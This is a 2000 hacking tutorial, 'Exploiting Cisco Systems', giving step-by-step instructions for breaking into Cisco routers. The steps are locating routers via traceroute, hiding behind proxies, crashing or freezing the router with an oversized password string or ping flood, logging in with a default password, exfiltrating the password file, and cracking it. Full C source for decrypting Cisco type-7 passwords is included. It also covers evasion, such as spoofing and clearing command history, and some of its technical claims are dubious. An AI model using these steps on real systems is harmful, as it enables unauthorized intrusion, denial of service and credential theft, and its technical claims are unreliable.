
Exploiting Cisco Systems
(Even From Windows!   ;-))

Written by Cyvamp
(with a few notes added by Raven)
July 2000

http://blacksun.box.sk

Warning:
DO NOT use this to damage cisco systems, or gain unauthorized access to systems. This tutorial is just something to
use for educational purposes. Only use this information in a legal way (the hacker wargames for instance), and do
not damage or destroy anything. This is a step-by-step guide on how a series of proven cisco exploits can be used to
gain access. If you get caught breaking into a cisco router, or screw the system up, you can interrupt hundreds of
internet clients, and cost thousands of dollars, so only use this when you are allowed!! Using this the wrong way
will get you into a lot of trouble.

Note: some of this tutorial was written on a Unix system, and the text was not converted to be DOS /
Windows-compatible, so you'll have to view this text from either your Internet browser, or from an advanced editor
such as Microsoft Word.

Table of Contents:

- Section 1: why hack a cisco router?

- Section 2: how to find a cisco router

- Section 3: how to break into a cisco

- Section 4: how to break the password

- Section 5: how to use a cisco router

Stuff you'll need to know BEFORE you start:

What is an IP address?

IP stands for Internet Protocol, IP addresses are used by other computers to identify computers that connect to
them. This is how you can be banned from IRC, and how they can find your ISP. IP addresses are easily obtained, they
can be retrieved through the following methods:

-you go to a website, your IP is logged

-on IRC, anyone can get your IP

-on ICQ, people can get your IP, even if you have the option set "do not show ip"
 they can still get it

-if you are connected to someone, they can type "systat", and see who is connected to them

-if someone sends you an email with IP-logging java, they can also get your IP address

There are many more ways of obtaining IP addresses, including using back-door programs such as Sub7 or NetBus.

What is an ISP?

ISP stands for Internet Service Provider, they are the ones that give you the internet. You connect to one everytime
you dial-up and make a connection. People can find your ISP simply by running a traceroute on you (traceroute is
later explained). It will look something like this:

tracert 222.222.22.22

Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1   147ms   122ms   132ms your.isp [222.222.22.21]
2   122ms   143ms   123ms isp.firewall [222.222.22.20]

```
3       156ms   142MS   122ms aol.com [207.22.44.33]
4       *       *       *       Request timed out
5       101ms   102ms   133ms cisco.router [194.33.44.33]
6       233ms   143ms   102ms something.ip [111.11.11.11]
7       222ms   123ms   213ms netcom.com [122.11.21.21]
8       152ms   211ms   212ms blahblah.tts.net [121.21.21.33]
9       122ms   223ms   243ms altavista.34.com [121.22.32.43] <<< target's isp
10      101ms   122ms   132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.
```

What is a TCP/IP packet?

TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is
compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur,
by sending packets. The header in a packet contains the IP address of the one who originally sent the packet. You
can re-write a packet and make it seem like it came from anyone!! You can use this to gain access to lots of systems
and you will not get caught. You will need to be running Linux or have a program which will let you do this. This
tutorial does not tell you to use this on a Cisco router, but it does come in handy when hacking any system. If
something goes wrong when you try to hack a system, you can always try this...

How to spoof your IP:

Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your
computer's identity at will! Use this when you get banned from some IRC chat room.... you can get right back in! You
can also use it when you are accessing another system, so it logs the wrong id...

How to use telnet:

You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet".

Once you have opened telnet, you may want to change some features. Click on Terminal>Preferences. Here you can
change the buffer size, font, and other things. You can also turn on/off "local echo", if you turn local echo on,
your computer will show you everything you type, and the other computer you are connected to will show you aswell.
So you may get something like this;

You type "hello", and you get
hhelelollo

This is because the information has bounced back and got scrambled with what you typed. The only reason I would use
this is if the machine does NOT return what you are typing.

By default, telnet will connect to a system on the telnet port, which is port 23. Now you will not always want to
connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail
servers. Or maybe port 21, for FTP. There are thousands of ports, so make sure you pick the right one!

How to use HyperTerminal:

HyperTerminal allows you to open a "server" on any port of your computer to listen for incoming information from
specified computers. To use this, go to
Start>Programs>Accessories>Communications>HyperTerminal. First you will need to select the connection, pick "TCP/IP
Winsock", and then put in the computer to communicate with, and the port #. You can tell it to listen for input by
going to Call>Wait for Call. Now the other computer can connect to you on that port, and you can chat and transfer
files.

How to use Ping:

Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by default it will ping 3 times, but you can
type

"ping ip.address -t"

Which will make it ping forever. To change the ping size do this:

"ping -l (size) ip.address"

What ping does is send a packet of data to a computer, then sees how long it takes to be returned, which determines
the computer's connection speed, and the time that it takes for a packet to go back and forth (this is called the
"trip time"). Ping can also be used to slow down or even crash a system if the system is overloaded by ping floods.
Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are
registered, and so Windows decides to take a little vacation).
A ping flood attack takes a lot of bandwidth from you, and you must have more bandwidth than your target (unless
the target is a Windows 98 box and you have an average modem, that way you'll knock it down after approximately a
single minute of ping flooding). Ping flooding isn't effective against stronger targets, unless you have quite a few
evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping flood your target as

well.
Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to
another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is
required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on
uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or
Linux, it has the -f switch.

How to use TraceRoute:

To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and
type "tracert ip.address" and you will see a list of computers, which are between you and the target computer.

You can use this to determine if there are firewalls blocking anything. And will also allow you to determine
someone's ISP (internet service provider).

To determine the ISP, simple look at the IP address before the last one, this should be one of the ISP's routers.

Basically, this is how traceroute works - a TCP/IP packet has a value in it's header (it's in the IP header. If you
don't know what this means, then ignore it and continue reading, it's not that crucial) called TTL, which stands
for Time To Live. Whenever a packet hops (travels through a router) it's TTL value is decreased by one. This is just
a countermeasure against the possibility that something would go wrong and a packet would ricochet all around the
net, thus wasting bandwidth.
So when a packet's TTL reaches zero, it dies and an ICMP error is sent back to the sender.
Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by looking at the
sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then
it sends a packet with a TTL value of 2, and it returns after the second hop, revealing it's identity. This goes on
until the packet reaches it's destination.

Now isn't that fun? :-)

How to use a proxy server:

Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it
with either telnet or hyperterminal and then connect to another computer through the proxy server. This way the
computer at the other end will not know your IP address.

Section 1: why hack a cisco router?

You probably are wondering.. why hack into a cisco router?

The reason being is that they are useful when it comes to breaking into other systems...

Cisco routers are very fast, some with 18 T1 connections on one system, and they are very flexible and can be used
in DoS attacks or to hack other systems since most of them run telnet.

They also have thousands of packets going through them at any one time, which can be captured and decoded... A lot
of cisco routers are also trusted systems, and will let you have a certain amount of access to other computers on
it's network.

Section 2: finding a cisco router

Finding a cisco router is a fairly easy task, almost every ISP will route through at least one cisco router. The
easiest way to find a cisco router is to run a traceroute from dos (type "tracert" and then the IP address of
anyone's computer), you can trace pretty much anyone because the trace will show all of the computer systems between
your computer and their computer. One of these systems will probably have the name "cisco" in it's name. If you find
one like this, copy down it's IP address.

Now you have the location of a cisco router, but it may have a firewall protecting it, so you should see if it's
being blocked by pinging it a couple times, if you get the ping returned to you, it might not be blocked. Another
way is to try to access some of the cisco router's ports, you can do this simply by using telnet, and opening a
connection to the router on port 23.. If it asks for a password, but no username, you are at the router, but if it
wants a username aswell, you are probably at a firewall.

Try to find a router without a firewall, since this tutorial is on the routers and not how to get past the
firewalls. Once you're sure you have found a good system, you should find a proxy server which will allow you to use
port 23, this way your IP will not be logged by the router.

Section 3: how to break into a cisco router

Cisco routers running v4.1 software (which currently is most of them) will be easily disabled. You simply connect to

the router on port 23 through your proxy server, and enter a HUGE password string, something like;

10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

Now wait, the cisco system might reboot, in which case you can't hack it because it is offline.. But it will
probably freeze up for a period of 2-10 minutes, which you must use to get in.

If neither happens, then it is not running the vulnerable software, in which case you can try several DoS attacks,
like a huge ping. Go to dos and type "ping -l 56550 cisco.router.ip -t", this will do the same trick for you.

While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the
reason for this is because by default, this is the router's password, and while it is temporarily disabled, it will
revert to it's default state.

Now that you have logged in, you must acquire the password file! The systems run different software, but most will
have a prompt like "htl-textil" or something, now type "?" for a list of commands, you will see a huge list of
commands, somewhere in there you will find a transfer command, use that to get the password file of admin (which is
the current user) and send it to your own IP address on port 23. But before you do this, set up HyperTerminal to
wait for a call from the cisco router. Now once you send the file, HyperTerminal will ask you if you want to accept
the file that this machine is sending you, say yes and save it to disk. Logout.

You are now past the hardest part, give yourself a pat on the back and get ready to break that password!

Section 4: breaking the password

Now that you have acquired the password file, you have to break it so you can access the router again. To do this,
you can run a program like John the Ripper or something on the password file, and you may break it.

This is the easiest way, and the way i would recommend. Another way would be to try and decrypt it. For this you
will need some decryption software, a lot a patience, and some of the decryption sequences.

Here is a sequence for decrypting a cisco password, you have to compile this in linux:

```
#include <stdio.h>
```

```
#include <ctype.h>

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
```

```
        fprintf(stdout, "       %s <router config file> <output file>\n",
pname);

        return(0);
}

main(argc,argv)
int argc;
char **argv;

{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
                                if(cdecrypt(argv[2], passwd)) {
                                        fprintf(stderr, "Error.\n");
                                        exit(1);
                                }
                                fprintf(stdout, "password: %s\n", passwd);
                                break;

                                default:
                                fprintf(stderr, "%s: unknow option.", pname);
                        }

                        return(0);
                }

                if((in = fopen(argv[1], "rt")) == NULL)
                        exit(1);
                if(argc > 2)
                        if((out = fopen(argv[2], "wt")) == NULL)
                                exit(1);
        }

        while(1) {
                for(i = 0; i < 256; i++) {
                        if((line[i] = fgetc(in)) == EOF) {
```

```
                        if(i)
                                break;

                        fclose(in);
                        fclose(out);
                        return(0);
                }
                if(line[i] == '\r')
                        i--;

                if(line[i] == '\n')
                        break;
        }
        pw_pos = 0;
        line[i] = 0;

        if(!strncmp(line, pw_str1, strlen(pw_str1)))
                pw_pos = strlen(pw_str1);

        if(!strncmp(line, pw_str2, strlen(pw_str2)))
                pw_pos = strlen(pw_str2);

        if(!pw_pos) {
                fprintf(stdout, "%s\n", line);
                continue;
        }

        if(cdecrypt(&line[pw_pos], passwd)) {
                fprintf(stderr, "Error.\n");
                exit(1);
        }
        else {
                if(pw_pos == strlen(pw_str1))
                        fprintf(out, "%s", pw_str1);
                else
                        fprintf(out, "%s", pw_str2);

                fprintf(out, "%s\n", passwd);
        }
    }
}
```

If you do not have Linux, then the only way to break the password is to run a dictionary or brute-force attack on
the file with John the Ripper or another password-cracker.

Section 5: using the router

To use this wonderful piece of technology, you will have to be able to connect to it, use a proxy if you do not want
your IP logged. Once you have logged in, you'll want to disable the history so no one can look at what you were
doing, type in "terminal history size 0". Now it won't remember anything! Type "?" for a list of all of the router's
commands, and you will be able to use most of them.

These routers usually have telnet, so you can use telnet to connect to other systems, (like unix boxes) and hack
into them. It also is equipped with ping and traceroute, which you can use to trace systems or do DoS attacks. You
may also be able to use it to intercept packets, but i do not recommend this, as it will not always work, and may
get you noticed....

If you don't hack a cisco your first time, don't worry... you probably won't do it the first time, or even the
second. It takes practice and patience. This is just to show you how... And make sure you are going after something
that is LEGAL.